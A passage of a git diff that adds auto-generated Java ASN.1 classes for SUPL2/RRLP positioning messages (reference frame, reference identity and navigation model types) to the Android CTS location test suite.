+public class ReferenceFrame extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ReferenceFrame
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ReferenceFrame() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ReferenceFrame;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ReferenceFrame != null) {
+ return ImmutableList.of(TAG_ReferenceFrame);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ReferenceFrame from encoded stream.
+ */
+ public static ReferenceFrame fromPerUnaligned(byte[] encodedBytes) {
+ ReferenceFrame result = new ReferenceFrame();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ReferenceFrame from encoded stream.
+ */
+ public static ReferenceFrame fromPerAligned(byte[] encodedBytes) {
+ ReferenceFrame result = new ReferenceFrame();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private ReferenceFrame.referenceFNType referenceFN_;
+ public ReferenceFrame.referenceFNType getReferenceFN() {
+ return referenceFN_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceFrame.referenceFNType
+ */
+ public void setReferenceFN(Asn1Object value) {
+ this.referenceFN_ = (ReferenceFrame.referenceFNType) value;
+ }
+ public ReferenceFrame.referenceFNType setReferenceFNToNewInstance() {
+ referenceFN_ = new ReferenceFrame.referenceFNType();
+ return referenceFN_;
+ }
+
+ private ReferenceFrame.referenceFNMSBType referenceFNMSB_;
+ public ReferenceFrame.referenceFNMSBType getReferenceFNMSB() {
+ return referenceFNMSB_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceFrame.referenceFNMSBType
+ */
+ public void setReferenceFNMSB(Asn1Object value) {
+ this.referenceFNMSB_ = (ReferenceFrame.referenceFNMSBType) value;
+ }
+ public ReferenceFrame.referenceFNMSBType setReferenceFNMSBToNewInstance() {
+ referenceFNMSB_ = new ReferenceFrame.referenceFNMSBType();
+ return referenceFNMSB_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceFN() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceFN();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceFNToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceFrame.referenceFNType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceFN : "
+ + getReferenceFN().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceFNMSB() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceFNMSB();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceFNMSBToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceFrame.referenceFNMSBType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceFNMSB : "
+ + getReferenceFNMSB().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class referenceFNType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_referenceFNType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public referenceFNType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_referenceFNType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_referenceFNType != null) {
+ return ImmutableList.of(TAG_referenceFNType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new referenceFNType from encoded stream.
+ */
+ public static referenceFNType fromPerUnaligned(byte[] encodedBytes) {
+ referenceFNType result = new referenceFNType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new referenceFNType from encoded stream.
+ */
+ public static referenceFNType fromPerAligned(byte[] encodedBytes) {
+ referenceFNType result = new referenceFNType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "referenceFNType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class referenceFNMSBType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_referenceFNMSBType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public referenceFNMSBType() {
+ super();
+ setValueRange("0", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_referenceFNMSBType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_referenceFNMSBType != null) {
+ return ImmutableList.of(TAG_referenceFNMSBType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new referenceFNMSBType from encoded stream.
+ */
+ public static referenceFNMSBType fromPerUnaligned(byte[] encodedBytes) {
+ referenceFNMSBType result = new referenceFNMSBType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new referenceFNMSBType from encoded stream.
+ */
+ public static referenceFNMSBType fromPerAligned(byte[] encodedBytes) {
+ referenceFNMSBType result = new referenceFNMSBType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "referenceFNMSBType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ReferenceFrame = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceIdentity.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceIdentity.java
new file mode 100755
index 0000000..42f9f71
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceIdentity.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class ReferenceIdentity extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ReferenceIdentity
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ReferenceIdentity() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ReferenceIdentity;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ReferenceIdentity != null) {
+ return ImmutableList.of(TAG_ReferenceIdentity);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ReferenceIdentity from encoded stream.
+ */
+ public static ReferenceIdentity fromPerUnaligned(byte[] encodedBytes) {
+ ReferenceIdentity result = new ReferenceIdentity();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ReferenceIdentity from encoded stream.
+ */
+ public static ReferenceIdentity fromPerAligned(byte[] encodedBytes) {
+ ReferenceIdentity result = new ReferenceIdentity();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SeqOfReferenceIdentityType refBTSList_;
+ public SeqOfReferenceIdentityType getRefBTSList() {
+ return refBTSList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfReferenceIdentityType
+ */
+ public void setRefBTSList(Asn1Object value) {
+ this.refBTSList_ = (SeqOfReferenceIdentityType) value;
+ }
+ public SeqOfReferenceIdentityType setRefBTSListToNewInstance() {
+ refBTSList_ = new SeqOfReferenceIdentityType();
+ return refBTSList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefBTSList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefBTSList();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefBTSListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfReferenceIdentityType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refBTSList : "
+ + getRefBTSList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ReferenceIdentity = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceIdentityType.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceIdentityType.java
new file mode 100755
index 0000000..9f4c46a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceIdentityType.java
@@ -0,0 +1,499 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class ReferenceIdentityType extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_ReferenceIdentityType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "ReferenceIdentityType: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public ReferenceIdentityType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ReferenceIdentityType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ReferenceIdentityType != null) {
+ return ImmutableList.of(TAG_ReferenceIdentityType);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new ReferenceIdentityType from encoded stream.
+ */
+ public static ReferenceIdentityType fromPerUnaligned(byte[] encodedBytes) {
+ ReferenceIdentityType result = new ReferenceIdentityType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ReferenceIdentityType from encoded stream.
+ */
+ public static ReferenceIdentityType fromPerAligned(byte[] encodedBytes) {
+ ReferenceIdentityType result = new ReferenceIdentityType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $BsicAndCarrier(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new BSICAndCarrier();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BSICAndCarrier.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Ci(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new CellID();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CellID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $RequestIndex(Asn1Tag.fromClassAndNumber(2, 2),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new RequestIndex();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RequestIndex.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $SystemInfoIndex(Asn1Tag.fromClassAndNumber(2, 3),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SystemInfoIndex();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SystemInfoIndex.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $CiAndLAC(Asn1Tag.fromClassAndNumber(2, 4),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new CellIDAndLAC();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CellIDAndLAC.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+
+
+ public boolean isBsicAndCarrier() {
+ return !hasExtensionValue() && Select.$BsicAndCarrier == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isBsicAndCarrier}.
+ */
+ @SuppressWarnings("unchecked")
+ public BSICAndCarrier getBsicAndCarrier() {
+ if (!isBsicAndCarrier()) {
+ throw new IllegalStateException("ReferenceIdentityType value not a BsicAndCarrier");
+ }
+ return (BSICAndCarrier) element;
+ }
+
+ public void setBsicAndCarrier(BSICAndCarrier selected) {
+ selection = Select.$BsicAndCarrier;
+ extension = false;
+ element = selected;
+ }
+
+ public BSICAndCarrier setBsicAndCarrierToNewInstance() {
+ BSICAndCarrier element = new BSICAndCarrier();
+ setBsicAndCarrier(element);
+ return element;
+ }
+
+
+
+ public boolean isCi() {
+ return !hasExtensionValue() && Select.$Ci == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isCi}.
+ */
+ @SuppressWarnings("unchecked")
+ public CellID getCi() {
+ if (!isCi()) {
+ throw new IllegalStateException("ReferenceIdentityType value not a Ci");
+ }
+ return (CellID) element;
+ }
+
+ public void setCi(CellID selected) {
+ selection = Select.$Ci;
+ extension = false;
+ element = selected;
+ }
+
+ public CellID setCiToNewInstance() {
+ CellID element = new CellID();
+ setCi(element);
+ return element;
+ }
+
+
+
+ public boolean isRequestIndex() {
+ return !hasExtensionValue() && Select.$RequestIndex == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isRequestIndex}.
+ */
+ @SuppressWarnings("unchecked")
+ public RequestIndex getRequestIndex() {
+ if (!isRequestIndex()) {
+ throw new IllegalStateException("ReferenceIdentityType value not a RequestIndex");
+ }
+ return (RequestIndex) element;
+ }
+
+ public void setRequestIndex(RequestIndex selected) {
+ selection = Select.$RequestIndex;
+ extension = false;
+ element = selected;
+ }
+
+ public RequestIndex setRequestIndexToNewInstance() {
+ RequestIndex element = new RequestIndex();
+ setRequestIndex(element);
+ return element;
+ }
+
+
+
+ public boolean isSystemInfoIndex() {
+ return !hasExtensionValue() && Select.$SystemInfoIndex == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isSystemInfoIndex}.
+ */
+ @SuppressWarnings("unchecked")
+ public SystemInfoIndex getSystemInfoIndex() {
+ if (!isSystemInfoIndex()) {
+ throw new IllegalStateException("ReferenceIdentityType value not a SystemInfoIndex");
+ }
+ return (SystemInfoIndex) element;
+ }
+
+ public void setSystemInfoIndex(SystemInfoIndex selected) {
+ selection = Select.$SystemInfoIndex;
+ extension = false;
+ element = selected;
+ }
+
+ public SystemInfoIndex setSystemInfoIndexToNewInstance() {
+ SystemInfoIndex element = new SystemInfoIndex();
+ setSystemInfoIndex(element);
+ return element;
+ }
+
+
+
+ public boolean isCiAndLAC() {
+ return !hasExtensionValue() && Select.$CiAndLAC == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isCiAndLAC}.
+ */
+ @SuppressWarnings("unchecked")
+ public CellIDAndLAC getCiAndLAC() {
+ if (!isCiAndLAC()) {
+ throw new IllegalStateException("ReferenceIdentityType value not a CiAndLAC");
+ }
+ return (CellIDAndLAC) element;
+ }
+
+ public void setCiAndLAC(CellIDAndLAC selected) {
+ selection = Select.$CiAndLAC;
+ extension = false;
+ element = selected;
+ }
+
+ public CellIDAndLAC setCiAndLACToNewInstance() {
+ CellIDAndLAC element = new CellIDAndLAC();
+ setCiAndLAC(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "ReferenceIdentityType = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceNavModel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceNavModel.java
new file mode 100755
index 0000000..9d55e15
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceNavModel.java
@@ -0,0 +1,2421 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class ReferenceNavModel extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ReferenceNavModel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ReferenceNavModel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ReferenceNavModel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ReferenceNavModel != null) {
+ return ImmutableList.of(TAG_ReferenceNavModel);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ReferenceNavModel from encoded stream.
+ */
+ public static ReferenceNavModel fromPerUnaligned(byte[] encodedBytes) {
+ ReferenceNavModel result = new ReferenceNavModel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ReferenceNavModel from encoded stream.
+ */
+ public static ReferenceNavModel fromPerAligned(byte[] encodedBytes) {
+ ReferenceNavModel result = new ReferenceNavModel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
